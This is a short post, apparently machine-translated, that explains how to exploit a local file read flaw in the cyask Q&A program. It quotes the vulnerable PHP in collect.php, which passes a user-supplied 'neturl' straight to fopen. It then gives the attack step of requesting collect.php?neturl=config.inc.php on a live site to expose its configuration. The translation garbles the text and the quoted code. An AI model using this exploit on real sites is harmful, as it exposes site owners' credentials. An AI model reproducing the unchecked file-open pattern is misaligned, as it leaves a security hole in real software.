Exploitation of a local file read vulnerability in cyask

I saw this one last night.ArticleBut no one said how to use it. I studied it myself. It turned out to be so simple.
The following is the content of this article.

In the afternoon, I helped my colleagues read a website and DZ's Forum. I had no day to complete.
Then I went around and got a copy of what Baidu knows. Program It was integrated with DZ and thought it was also developed by Dz. It is estimated that there is no problem.
Let's take a look. Code , You can see collect. php
-------------------------------
Else
{
/*
Check URL
*/
$ Url = get_referer ();
$ Neturl = empty ($ _ post ['neturl'])? Trim ($ _ Get ['neturl']): trim ($ _ post ['neturl']);

$ Collect_url = empty ($ neturl )? $ URL: $ neturl;

$ Contents = '';
If ($ FID = @ fopen ($ collect_url, "R "))
{
Do
{
$ DATA = fread ($ FID, 4096 );
If (strlen ($ data) = 0)
{
Break;
}
$ Contents. = $ data;
}
While (true );
Fclose ($ FID );
}
Else
{
Show_message ('Collect _ url_error ','');
Exit;
}
----------------------------------
Harmful. It was originally quite safe to integrate a station with Mao ......

Find A cyask website and register it on it. After logging on, enter http: // www. ××. COM/collect. php? Neturl = config. Inc. php right-click the content snapshot and click to view the source file. Wow, you can see everything. I just talked about how to use it. I hope you can fix the vulnerability as soon as possible. All losses have nothing to do with me!